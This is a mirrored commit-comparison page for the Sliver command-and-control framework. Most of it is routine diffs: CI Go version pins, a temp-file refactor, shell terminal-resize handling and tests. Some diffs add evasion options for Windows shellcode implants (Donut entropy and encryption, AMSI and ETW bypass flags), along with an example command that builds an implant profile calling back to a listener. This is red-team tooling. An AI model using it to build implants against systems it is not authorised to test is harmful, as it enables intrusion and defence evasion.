mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-08 08:04:14 -10:00
Compare commits
31
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
83208eeab4 | ||
|
|
21674a9f0a | ||
|
|
a18bda14e2 | ||
|
|
37f9670783 | ||
|
|
1745886622 | ||
|
|
bd7361825c | ||
|
|
32af81c132 | ||
|
|
818127349c | ||
|
|
a712bead88 | ||
|
|
aa86a1d12c | ||
|
|
afb58f7155 | ||
|
|
97d5adccd7 | ||
|
|
83cc755388 | ||
|
|
4dc1fe145c | ||
|
|
5e27b23bde | ||
|
|
6011d23a9f | ||
|
|
976d720043 | ||
|
|
86f41e9abc | ||
|
|
8b9fc399fa | ||
|
|
27c75c14e6 | ||
|
|
11d6af8aa0 | ||
|
|
54dc6dcec3 | ||
|
|
c7412d4d5b | ||
|
|
c3817dc175 | ||
|
|
09cedf588e | ||
|
|
66aed89ebd | ||
|
|
16397e7a0f | ||
|
|
5062b483b7 | ||
|
|
b268295c8d | ||
|
|
2b3f23cec9 | ||
|
|
110658ec39 |
No files matched your search
@@ -44,7 +44,7 @@ jobs:
|
||||
- name: Go 1.25
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version: "^1.25"
|
||||
go-version: "1.25.6"
|
||||
|
||||
- name: Install Minisign
|
||||
run: sudo apt-get update --fix-missing && sudo apt-get -y install minisign
|
||||
|
||||
@@ -19,7 +19,7 @@ jobs:
|
||||
- name: Go 1.25
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version: "^1.25"
|
||||
go-version: "1.25.6"
|
||||
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v6
|
||||
|
||||
@@ -26,7 +26,7 @@ jobs:
|
||||
- name: Go 1.25
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version: "^1.25"
|
||||
go-version: "1.25.6"
|
||||
|
||||
- name: OS Packages
|
||||
run: |
|
||||
@@ -73,7 +73,7 @@ jobs:
|
||||
- name: Go 1.25
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version: "^1.25"
|
||||
go-version: "1.25.6"
|
||||
|
||||
- name: Check Out Code
|
||||
uses: actions/checkout@v6
|
||||
@@ -111,7 +111,7 @@ jobs:
|
||||
- name: Go 1.25
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version: "^1.25"
|
||||
go-version: "1.25.6"
|
||||
|
||||
- name: Check Out Code
|
||||
uses: actions/checkout@v6
|
||||
|
||||
@@ -239,9 +239,9 @@ func LoadAlias(manifestPath string, cmd *cobra.Command, con *console.SliverClien
|
||||
f.StringP("app-domain", "d", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
|
||||
f.StringP("arch", "a", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
|
||||
f.BoolP("in-process", "i", false, "Run in the current sliver process")
|
||||
f.StringP("runtime", "r", "", "Runtime to use for running the assembly (only supported when used with --in-process)")
|
||||
f.BoolP("amsi-bypass", "M", false, "Bypass AMSI on Windows (only supported when used with --in-process)")
|
||||
f.BoolP("etw-bypass", "E", false, "Bypass ETW on Windows (only supported when used with --in-process)")
|
||||
f.StringP("runtime", "r", "v4.0.30319", "Runtime to use for running the assembly")
|
||||
f.BoolP("amsi-bypass", "M", false, "Bypass AMSI on Windows")
|
||||
f.BoolP("etw-bypass", "E", false, "Bypass ETW on Windows")
|
||||
addAliasCmd.Flags().AddFlagSet(f)
|
||||
}
|
||||
|
||||
@@ -374,7 +374,7 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []strin
|
||||
}
|
||||
con.PrintWarnf("%s", msgStr)
|
||||
confirm := false
|
||||
_ = forms.Confirm("Do you want to continue?", &confirm)
|
||||
forms.Confirm("Do you want to continue?", &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -635,20 +635,15 @@ func installAliasPackage(entry *pkgCacheEntry, promptToOverwrite bool, clientCon
|
||||
return errors.New("signature verification failed")
|
||||
}
|
||||
|
||||
tmpFile, err := os.CreateTemp("", "sliver-armory-")
|
||||
tmpFileName, err := writeArmoryTempFile(tarGz)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer os.Remove(tmpFile.Name())
|
||||
_, err = tmpFile.Write(tarGz)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
tmpFile.Close()
|
||||
defer os.Remove(tmpFileName)
|
||||
|
||||
con.Printf(console.Clearln + "\r") // Clear the line
|
||||
|
||||
installPath := alias.InstallFromFile(tmpFile.Name(), entry.Alias.CommandName, promptToOverwrite, con)
|
||||
installPath := alias.InstallFromFile(tmpFileName, entry.Alias.CommandName, promptToOverwrite, con)
|
||||
if installPath == nil {
|
||||
return errors.New("failed to install alias")
|
||||
}
|
||||
@@ -729,23 +724,45 @@ func installExtensionPackage(entry *pkgCacheEntry, promptToOverwrite bool, clien
|
||||
return errors.New("signature verification failed")
|
||||
}
|
||||
|
||||
tmpFile, err := os.CreateTemp("", "sliver-armory-")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer os.Remove(tmpFile.Name())
|
||||
_, err = tmpFile.Write(tarGz)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
err = tmpFile.Sync()
|
||||
tmpFileName, err := writeArmoryTempFile(tarGz)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer os.Remove(tmpFileName)
|
||||
|
||||
con.Printf(console.Clearln + "\r") // Clear download message
|
||||
|
||||
extensions.InstallFromDir(tmpFile.Name(), promptToOverwrite, con, true)
|
||||
extensions.InstallFromDir(tmpFileName, promptToOverwrite, con, true)
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func writeArmoryTempFile(data []byte) (string, error) {
|
||||
if len(data) == 0 {
|
||||
return "", errors.New("downloaded archive is empty")
|
||||
}
|
||||
tmpFile, err := os.CreateTemp("", "sliver-armory-")
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
tmpFileName := tmpFile.Name()
|
||||
for len(data) > 0 {
|
||||
n, err := tmpFile.Write(data)
|
||||
if err != nil {
|
||||
tmpFile.Close()
|
||||
os.Remove(tmpFileName)
|
||||
return "", err
|
||||
}
|
||||
data = data[n:]
|
||||
}
|
||||
if err := tmpFile.Sync(); err != nil {
|
||||
tmpFile.Close()
|
||||
os.Remove(tmpFileName)
|
||||
return "", err
|
||||
}
|
||||
if err := tmpFile.Close(); err != nil {
|
||||
os.Remove(tmpFileName)
|
||||
return "", err
|
||||
}
|
||||
return tmpFileName, nil
|
||||
}
|
||||
@@ -157,10 +157,25 @@ func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, r
|
||||
|
||||
tunnel := core.GetTunnels().Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
|
||||
|
||||
var rows uint32
|
||||
var cols uint32
|
||||
if !noPty {
|
||||
colsInt, rowsInt, err := term.GetSize(int(os.Stdout.Fd()))
|
||||
if err != nil || rowsInt <= 0 || colsInt <= 0 {
|
||||
colsInt, rowsInt, err = term.GetSize(int(os.Stdin.Fd()))
|
||||
}
|
||||
if err == nil && rowsInt > 0 && colsInt > 0 {
|
||||
rows = uint32(rowsInt)
|
||||
cols = uint32(colsInt)
|
||||
}
|
||||
}
|
||||
|
||||
shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: hostProc,
|
||||
EnablePTY: !noPty,
|
||||
Rows: rows,
|
||||
Cols: cols,
|
||||
TunnelID: tunnel.ID,
|
||||
})
|
||||
if err != nil {
|
||||
@@ -200,6 +215,12 @@ func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, r
|
||||
}
|
||||
}
|
||||
|
||||
stopPtyResize := func() {}
|
||||
if !noPty {
|
||||
stopPtyResize = startPtyResizeWatcher(con, cmd, tunnel.ID)
|
||||
}
|
||||
defer stopPtyResize()
|
||||
|
||||
log.Printf("Starting stdin/stdout shell ...")
|
||||
go func() {
|
||||
n, err := io.Copy(os.Stdout, tunnel)
|
||||
|
||||
@@ -0,0 +1,97 @@
|
||||
//go:build !windows
|
||||
|
||||
package exec
|
||||
|
||||
import (
|
||||
"context"
|
||||
"os"
|
||||
"os/signal"
|
||||
"sync"
|
||||
"syscall"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/spf13/cobra"
|
||||
"golang.org/x/term"
|
||||
"google.golang.org/grpc/codes"
|
||||
"google.golang.org/grpc/status"
|
||||
)
|
||||
|
||||
func startPtyResizeWatcher(con *console.SliverClient, cmd *cobra.Command, tunnelID uint64) func() {
|
||||
if con == nil || con.Rpc == nil {
|
||||
return func() {}
|
||||
}
|
||||
|
||||
stdoutFd := int(os.Stdout.Fd())
|
||||
stdinFd := int(os.Stdin.Fd())
|
||||
if !term.IsTerminal(stdoutFd) && !term.IsTerminal(stdinFd) {
|
||||
return func() {}
|
||||
}
|
||||
|
||||
sigCh := make(chan os.Signal, 1)
|
||||
signal.Notify(sigCh, syscall.SIGWINCH)
|
||||
|
||||
stopCh := make(chan struct{})
|
||||
doneCh := make(chan struct{})
|
||||
|
||||
go func() {
|
||||
defer close(doneCh)
|
||||
|
||||
lastCols, lastRows := -1, -1
|
||||
send := func() bool {
|
||||
cols, rows, err := term.GetSize(stdoutFd)
|
||||
if err != nil || cols <= 0 || rows <= 0 {
|
||||
cols, rows, err = term.GetSize(stdinFd)
|
||||
}
|
||||
if err != nil || cols <= 0 || rows <= 0 {
|
||||
return true
|
||||
}
|
||||
if cols == lastCols && rows == lastRows {
|
||||
return true
|
||||
}
|
||||
lastCols, lastRows = cols, rows
|
||||
|
||||
req := con.ActiveTarget.Request(cmd)
|
||||
if req == nil {
|
||||
return false
|
||||
}
|
||||
req.Timeout = int64(2 * time.Second)
|
||||
|
||||
_, err = con.Rpc.ShellResize(context.Background(), &sliverpb.ShellResizeReq{
|
||||
Request: req,
|
||||
TunnelID: tunnelID,
|
||||
Rows: uint32(rows),
|
||||
Cols: uint32(cols),
|
||||
})
|
||||
if status.Code(err) == codes.Unimplemented {
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
if !send() {
|
||||
return
|
||||
}
|
||||
|
||||
for {
|
||||
select {
|
||||
case <-stopCh:
|
||||
return
|
||||
case <-sigCh:
|
||||
if !send() {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
var once sync.Once
|
||||
return func() {
|
||||
once.Do(func() {
|
||||
signal.Stop(sigCh)
|
||||
close(stopCh)
|
||||
<-doneCh
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,93 @@
|
||||
//go:build windows
|
||||
|
||||
package exec
|
||||
|
||||
import (
|
||||
"context"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/spf13/cobra"
|
||||
"golang.org/x/term"
|
||||
"google.golang.org/grpc/codes"
|
||||
"google.golang.org/grpc/status"
|
||||
"os"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
func startPtyResizeWatcher(con *console.SliverClient, cmd *cobra.Command, tunnelID uint64) func() {
|
||||
if con == nil || con.Rpc == nil {
|
||||
return func() {}
|
||||
}
|
||||
|
||||
stdoutFd := int(os.Stdout.Fd())
|
||||
stdinFd := int(os.Stdin.Fd())
|
||||
if !term.IsTerminal(stdoutFd) && !term.IsTerminal(stdinFd) {
|
||||
return func() {}
|
||||
}
|
||||
|
||||
stopCh := make(chan struct{})
|
||||
doneCh := make(chan struct{})
|
||||
|
||||
go func() {
|
||||
defer close(doneCh)
|
||||
|
||||
ticker := time.NewTicker(250 * time.Millisecond)
|
||||
defer ticker.Stop()
|
||||
|
||||
lastCols, lastRows := -1, -1
|
||||
send := func() bool {
|
||||
cols, rows, err := term.GetSize(stdoutFd)
|
||||
if err != nil || cols <= 0 || rows <= 0 {
|
||||
cols, rows, err = term.GetSize(stdinFd)
|
||||
}
|
||||
if err != nil || cols <= 0 || rows <= 0 {
|
||||
return true
|
||||
}
|
||||
if cols == lastCols && rows == lastRows {
|
||||
return true
|
||||
}
|
||||
lastCols, lastRows = cols, rows
|
||||
|
||||
req := con.ActiveTarget.Request(cmd)
|
||||
if req == nil {
|
||||
return false
|
||||
}
|
||||
req.Timeout = int64(2 * time.Second)
|
||||
|
||||
_, err = con.Rpc.ShellResize(context.Background(), &sliverpb.ShellResizeReq{
|
||||
Request: req,
|
||||
TunnelID: tunnelID,
|
||||
Rows: uint32(rows),
|
||||
Cols: uint32(cols),
|
||||
})
|
||||
if status.Code(err) == codes.Unimplemented {
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
if !send() {
|
||||
return
|
||||
}
|
||||
|
||||
for {
|
||||
select {
|
||||
case <-stopCh:
|
||||
return
|
||||
case <-ticker.C:
|
||||
if !send() {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
var once sync.Once
|
||||
return func() {
|
||||
once.Do(func() {
|
||||
close(stopCh)
|
||||
<-doneCh
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -342,6 +342,14 @@ func coreImplantFlags(name string, cmd *cobra.Command) {
|
||||
f.StringP("limit-locale", "L", "", "limit execution to hosts that match this locale")
|
||||
|
||||
f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows only)")
|
||||
f.Uint32("donut-entropy", 1, "Donut entropy (1=none, 2=random names, 3=random+encrypt) (windows shellcode only)")
|
||||
f.Bool("donut-compress", false, "Enable Donut compression (aplib) (windows shellcode only)")
|
||||
f.Uint32("donut-exitopt", 1, "Donut exit option (1=exit thread, 2=exit process, 3=block) (windows shellcode only)")
|
||||
f.Uint32("donut-bypass", 3, "Donut bypass mode (1=none, 2=abort, 3=continue) (windows shellcode only)")
|
||||
f.Uint32("donut-headers", 1, "Donut headers handling (1=overwrite, 2=keep) (windows shellcode only)")
|
||||
f.Bool("donut-thread", false, "Run unmanaged EXE entrypoint as a new thread (windows shellcode only)")
|
||||
f.Bool("donut-unicode", false, "Use Unicode command line for unmanaged DLL entrypoints (windows shellcode only)")
|
||||
f.Uint32("donut-oep", 0, "Donut original entry point override (0=default) (windows shellcode only)")
|
||||
})
|
||||
}
|
||||
|
||||
|
||||
@@ -409,6 +409,12 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
|
||||
return "", nil
|
||||
}
|
||||
|
||||
donutConfig, err := parseDonutFlags(cmd, targetOS, configFormat, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return "", nil
|
||||
}
|
||||
|
||||
var tunIP net.IP
|
||||
if wg, _ := cmd.Flags().GetString("wg"); wg != "" {
|
||||
uniqueWGIP, err := con.Rpc.GenerateUniqueIP(context.Background(), &commonpb.Empty{})
|
||||
@@ -480,11 +486,68 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
|
||||
|
||||
DebugFile: debugFile,
|
||||
HTTPC2ConfigName: c2Profile,
|
||||
DonutConfig: donutConfig,
|
||||
}
|
||||
|
||||
return name, config
|
||||
}
|
||||
|
||||
func parseDonutFlags(cmd *cobra.Command, targetOS string, configFormat clientpb.OutputFormat, con *console.SliverClient) (*clientpb.DonutConfig, error) {
|
||||
donutEntropy, _ := cmd.Flags().GetUint32("donut-entropy")
|
||||
donutCompressEnabled, _ := cmd.Flags().GetBool("donut-compress")
|
||||
donutExitOpt, _ := cmd.Flags().GetUint32("donut-exitopt")
|
||||
donutBypass, _ := cmd.Flags().GetUint32("donut-bypass")
|
||||
donutHeaders, _ := cmd.Flags().GetUint32("donut-headers")
|
||||
donutThread, _ := cmd.Flags().GetBool("donut-thread")
|
||||
donutUnicode, _ := cmd.Flags().GetBool("donut-unicode")
|
||||
donutOEP, _ := cmd.Flags().GetUint32("donut-oep")
|
||||
|
||||
anyChanged := cmd.Flags().Changed("donut-entropy") ||
|
||||
cmd.Flags().Changed("donut-compress") ||
|
||||
cmd.Flags().Changed("donut-exitopt") ||
|
||||
cmd.Flags().Changed("donut-bypass") ||
|
||||
cmd.Flags().Changed("donut-headers") ||
|
||||
cmd.Flags().Changed("donut-thread") ||
|
||||
cmd.Flags().Changed("donut-unicode") ||
|
||||
cmd.Flags().Changed("donut-oep")
|
||||
|
||||
if targetOS != "windows" || configFormat != clientpb.OutputFormat_SHELLCODE {
|
||||
if anyChanged {
|
||||
con.PrintWarnf("Donut options only apply to Windows shellcode, ignoring.\n")
|
||||
}
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
if donutEntropy < 1 || donutEntropy > 3 {
|
||||
return nil, fmt.Errorf("donut-entropy must be between 1 and 3")
|
||||
}
|
||||
if donutExitOpt < 1 || donutExitOpt > 3 {
|
||||
return nil, fmt.Errorf("donut-exitopt must be between 1 and 3")
|
||||
}
|
||||
if donutBypass < 1 || donutBypass > 3 {
|
||||
return nil, fmt.Errorf("donut-bypass must be between 1 and 3")
|
||||
}
|
||||
if donutHeaders < 1 || donutHeaders > 2 {
|
||||
return nil, fmt.Errorf("donut-headers must be 1 or 2")
|
||||
}
|
||||
|
||||
donutCompress := uint32(1)
|
||||
if donutCompressEnabled {
|
||||
donutCompress = 2
|
||||
}
|
||||
|
||||
return &clientpb.DonutConfig{
|
||||
Entropy: donutEntropy,
|
||||
Compress: donutCompress,
|
||||
ExitOpt: donutExitOpt,
|
||||
Bypass: donutBypass,
|
||||
Headers: donutHeaders,
|
||||
Thread: donutThread,
|
||||
Unicode: donutUnicode,
|
||||
OEP: donutOEP,
|
||||
}, nil
|
||||
}
|
||||
|
||||
// parseTrafficEncoderArgs - parses the traffic encoder args and returns a bool indicating if traffic encoders are enabled.
|
||||
func parseTrafficEncoderArgs(cmd *cobra.Command, httpC2Enabled bool, con *console.SliverClient) (bool, []*commonpb.File) {
|
||||
trafficEncoders, _ := cmd.Flags().GetString("traffic-encoders")
|
||||
|
||||
@@ -199,6 +199,18 @@ To output a Linux ELF executable file, the following command would be used:
|
||||
generate --os linux --mtls foo.example.com
|
||||
|
||||
|
||||
[[.Bold]][[.Underline]]++ Donut Shellcode Options ++[[.Normal]]
|
||||
When generating Windows shellcode (--format shellcode), you can tune Donut:
|
||||
--donut-entropy 1|2|3 # Entropy: 1=none (default), 2=random names, 3=random+encrypt
|
||||
--donut-compress 0|1 # Compression: 0=off (default), 1=aplib
|
||||
--donut-exitopt 1|2|3 # Exit behavior: 1=exit thread (default), 2=exit process, 3=block
|
||||
--donut-bypass 1|2|3 # Bypass: 1=none, 2=abort on failure, 3=continue (default)
|
||||
--donut-headers 1|2 # PE headers: 1=overwrite (default), 2=keep
|
||||
--donut-thread 0|1 # Unmanaged EXE: run entrypoint as a new thread (default 0)
|
||||
--donut-unicode 0|1 # Unmanaged DLL: pass Unicode command line (default 0)
|
||||
--donut-oep <uint32> # Override original entry point (0=default)
|
||||
|
||||
|
||||
[[.Bold]][[.Underline]]++ DNS Canaries ++[[.Normal]]
|
||||
DNS canaries are unique per-binary domains that are deliberately NOT obfuscated during the compilation process.
|
||||
This is done so that these unique domains show up if someone runs 'strings' on the binary, if they then attempt
|
||||
|
||||
@@ -32,12 +32,13 @@ func WGListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []string)
|
||||
nport, _ := cmd.Flags().GetUint32("nport")
|
||||
keyExchangePort, _ := cmd.Flags().GetUint32("key-port")
|
||||
|
||||
con.PrintInfof("Starting Wireguard listener ...\n")
|
||||
con.PrintInfof("Starting Wireguard listener (udp:%d, tcp-comms:%d, key-exchange:%d) ...\n", lport, nport, keyExchangePort)
|
||||
wg, err := con.Rpc.StartWGListener(context.Background(), &clientpb.WGListenerReq{
|
||||
Port: lport,
|
||||
NPort: nport,
|
||||
KeyPort: keyExchangePort,
|
||||
})
|
||||
con.Println()
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
} else {
|
||||
|
||||
@@ -70,6 +70,10 @@ func ServerCommands(con *client.SliverClient, serverCmds func() []*cobra.Command
|
||||
HiddenDefaultCmd: true,
|
||||
},
|
||||
}
|
||||
if !con.IsCLI {
|
||||
server.SilenceErrors = true
|
||||
server.SilenceUsage = true
|
||||
}
|
||||
|
||||
// Utility function to be used for binding new commands to
|
||||
// the sliver menu: call the function with the name of the
|
||||
|
||||
@@ -0,0 +1,97 @@
|
||||
//go:build !windows
|
||||
|
||||
package shell
|
||||
|
||||
import (
|
||||
"context"
|
||||
"os"
|
||||
"os/signal"
|
||||
"sync"
|
||||
"syscall"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/spf13/cobra"
|
||||
"golang.org/x/term"
|
||||
"google.golang.org/grpc/codes"
|
||||
"google.golang.org/grpc/status"
|
||||
)
|
||||
|
||||
func startPtyResizeWatcher(con *console.SliverClient, cmd *cobra.Command, tunnelID uint64) func() {
|
||||
if con == nil || con.Rpc == nil {
|
||||
return func() {}
|
||||
}
|
||||
|
||||
stdoutFd := int(os.Stdout.Fd())
|
||||
stdinFd := int(os.Stdin.Fd())
|
||||
if !term.IsTerminal(stdoutFd) && !term.IsTerminal(stdinFd) {
|
||||
return func() {}
|
||||
}
|
||||
|
||||
sigCh := make(chan os.Signal, 1)
|
||||
signal.Notify(sigCh, syscall.SIGWINCH)
|
||||
|
||||
stopCh := make(chan struct{})
|
||||
doneCh := make(chan struct{})
|
||||
|
||||
go func() {
|
||||
defer close(doneCh)
|
||||
|
||||
lastCols, lastRows := -1, -1
|
||||
send := func() bool {
|
||||
cols, rows, err := term.GetSize(stdoutFd)
|
||||
if err != nil || cols <= 0 || rows <= 0 {
|
||||
cols, rows, err = term.GetSize(stdinFd)
|
||||
}
|
||||
if err != nil || cols <= 0 || rows <= 0 {
|
||||
return true
|
||||
}
|
||||
if cols == lastCols && rows == lastRows {
|
||||
return true
|
||||
}
|
||||
lastCols, lastRows = cols, rows
|
||||
|
||||
req := con.ActiveTarget.Request(cmd)
|
||||
if req == nil {
|
||||
return false
|
||||
}
|
||||
req.Timeout = int64(2 * time.Second)
|
||||
|
||||
_, err = con.Rpc.ShellResize(context.Background(), &sliverpb.ShellResizeReq{
|
||||
Request: req,
|
||||
TunnelID: tunnelID,
|
||||
Rows: uint32(rows),
|
||||
Cols: uint32(cols),
|
||||
})
|
||||
if status.Code(err) == codes.Unimplemented {
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
if !send() {
|
||||
return
|
||||
}
|
||||
|
||||
for {
|
||||
select {
|
||||
case <-stopCh:
|
||||
return
|
||||
case <-sigCh:
|
||||
if !send() {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
var once sync.Once
|
||||
return func() {
|
||||
once.Do(func() {
|
||||
signal.Stop(sigCh)
|
||||
close(stopCh)
|
||||
<-doneCh
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,93 @@
|
||||
//go:build windows
|
||||
|
||||
package shell
|
||||
|
||||
import (
|
||||
"context"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/spf13/cobra"
|
||||
"golang.org/x/term"
|
||||
"google.golang.org/grpc/codes"
|
||||
"google.golang.org/grpc/status"
|
||||
"os"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
func startPtyResizeWatcher(con *console.SliverClient, cmd *cobra.Command, tunnelID uint64) func() {
|
||||
if con == nil || con.Rpc == nil {
|
||||
return func() {}
|
||||
}
|
||||
|
||||
stdoutFd := int(os.Stdout.Fd())
|
||||
stdinFd := int(os.Stdin.Fd())
|
||||
if !term.IsTerminal(stdoutFd) && !term.IsTerminal(stdinFd) {
|
||||
return func() {}
|
||||
}
|
||||
|
||||
stopCh := make(chan struct{})
|
||||
doneCh := make(chan struct{})
|
||||
|
||||
go func() {
|
||||
defer close(doneCh)
|
||||
|
||||
ticker := time.NewTicker(250 * time.Millisecond)
|
||||
defer ticker.Stop()
|
||||
|
||||
lastCols, lastRows := -1, -1
|
||||
send := func() bool {
|
||||
cols, rows, err := term.GetSize(stdoutFd)
|
||||
if err != nil || cols <= 0 || rows <= 0 {
|
||||
cols, rows, err = term.GetSize(stdinFd)
|
||||
}
|
||||
if err != nil || cols <= 0 || rows <= 0 {
|
||||
return true
|
||||
}
|
||||
if cols == lastCols && rows == lastRows {
|
||||
return true
|
||||
}
|
||||
lastCols, lastRows = cols, rows
|
||||
|
||||
req := con.ActiveTarget.Request(cmd)
|
||||
if req == nil {
|
||||
return false
|
||||
}
|
||||
req.Timeout = int64(2 * time.Second)
|
||||
|
||||
_, err = con.Rpc.ShellResize(context.Background(), &sliverpb.ShellResizeReq{
|
||||
Request: req,
|
||||
TunnelID: tunnelID,
|
||||
Rows: uint32(rows),
|
||||
Cols: uint32(cols),
|
||||
})
|
||||
if status.Code(err) == codes.Unimplemented {
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
if !send() {
|
||||
return
|
||||
}
|
||||
|
||||
for {
|
||||
select {
|
||||
case <-stopCh:
|
||||
return
|
||||
case <-ticker.C:
|
||||
if !send() {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
var once sync.Once
|
||||
return func() {
|
||||
once.Do(func() {
|
||||
close(stopCh)
|
||||
<-doneCh
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -84,10 +84,25 @@ func runInteractive(cmd *cobra.Command, shellPath string, noPty bool, con *conso
|
||||
// Start() takes an RPC tunnel and creates a local Reader/Writer tunnel object
|
||||
tunnel := core.GetTunnels().Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
|
||||
|
||||
var rows uint32
|
||||
var cols uint32
|
||||
if !noPty {
|
||||
colsInt, rowsInt, err := term.GetSize(int(os.Stdout.Fd()))
|
||||
if err != nil || rowsInt <= 0 || colsInt <= 0 {
|
||||
colsInt, rowsInt, err = term.GetSize(int(os.Stdin.Fd()))
|
||||
}
|
||||
if err == nil && rowsInt > 0 && colsInt > 0 {
|
||||
rows = uint32(rowsInt)
|
||||
cols = uint32(colsInt)
|
||||
}
|
||||
}
|
||||
|
||||
shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: shellPath,
|
||||
EnablePTY: !noPty,
|
||||
Rows: rows,
|
||||
Cols: cols,
|
||||
TunnelID: tunnel.ID,
|
||||
})
|
||||
if err != nil {
|
||||
@@ -120,6 +135,12 @@ func runInteractive(cmd *cobra.Command, shellPath string, noPty bool, con *conso
|
||||
}
|
||||
}
|
||||
|
||||
stopPtyResize := func() {}
|
||||
if !noPty {
|
||||
stopPtyResize = startPtyResizeWatcher(con, cmd, tunnel.ID)
|
||||
}
|
||||
defer stopPtyResize()
|
||||
|
||||
log.Printf("Starting stdin/stdout shell ...")
|
||||
go func() {
|
||||
n, err := io.Copy(os.Stdout, tunnel)
|
||||
|
||||
@@ -65,6 +65,10 @@ func SliverCommands(con *client.SliverClient) console.Commands {
|
||||
HiddenDefaultCmd: true,
|
||||
},
|
||||
}
|
||||
if !con.IsCLI {
|
||||
sliver.SilenceErrors = true
|
||||
sliver.SilenceUsage = true
|
||||
}
|
||||
|
||||
// Utility function to be used for binding new commands to
|
||||
// the sliver menu: call the function with the name of the
|
||||
|
||||
@@ -33,6 +33,23 @@ Name Platform Command & Control Debug Format
|
||||
win-shellcode windows/amd64 [1] mtls://192.168.122.1:8888 false SHELLCODE enabled
|
||||
```
|
||||
|
||||
You can tune Donut options for Windows shellcode profiles:
|
||||
|
||||
- `--donut-entropy`: 1=none, 2=random names, 3=random+encrypt
|
||||
- `--donut-compress`: enable/disable aplib compression (boolean)
|
||||
- `--donut-exitopt`: 1=exit thread, 2=exit process, 3=block
|
||||
- `--donut-bypass`: 1=none, 2=abort on failure, 3=continue
|
||||
- `--donut-headers`: 1=overwrite, 2=keep
|
||||
- `--donut-thread`: run unmanaged EXE entrypoint as a new thread (boolean)
|
||||
- `--donut-unicode`: pass Unicode command line to unmanaged DLL entrypoints (boolean)
|
||||
- `--donut-oep`: override original entry point (uint32, 0=default)
|
||||
|
||||
Example:
|
||||
|
||||
```
|
||||
sliver > profiles new --mtls 192.168.122.1 --format shellcode --donut-entropy 2 --donut-compress --donut-exitopt 3 win-shellcode
|
||||
```
|
||||
|
||||
We can now create a staging listener and link it to the profile:
|
||||
|
||||
```
|
||||
|
||||
+18
@@ -98,6 +98,13 @@ else
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# implant / sliver / transports / wireguard
|
||||
if go test ./implant/sliver/transports/wireguard ; then
|
||||
:
|
||||
else
|
||||
exit 1
|
||||
fi
|
||||
|
||||
## Server
|
||||
|
||||
# server / assets / traffic encoders
|
||||
@@ -178,6 +185,17 @@ else
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# server / c2 / e2e (mtls + wg + yamux)
|
||||
SLIVER_ROOT_DIR_E2E="$(mktemp -d)"
|
||||
if SLIVER_ROOT_DIR="$SLIVER_ROOT_DIR_E2E" go test -tags=server,$TAGS,sliver_e2e ./server/c2 -run 'Test(MTLS|WG)Yamux_' -count=1 ; then
|
||||
:
|
||||
else
|
||||
cat "$SLIVER_ROOT_DIR_E2E/logs/sliver.log" 2>/dev/null || true
|
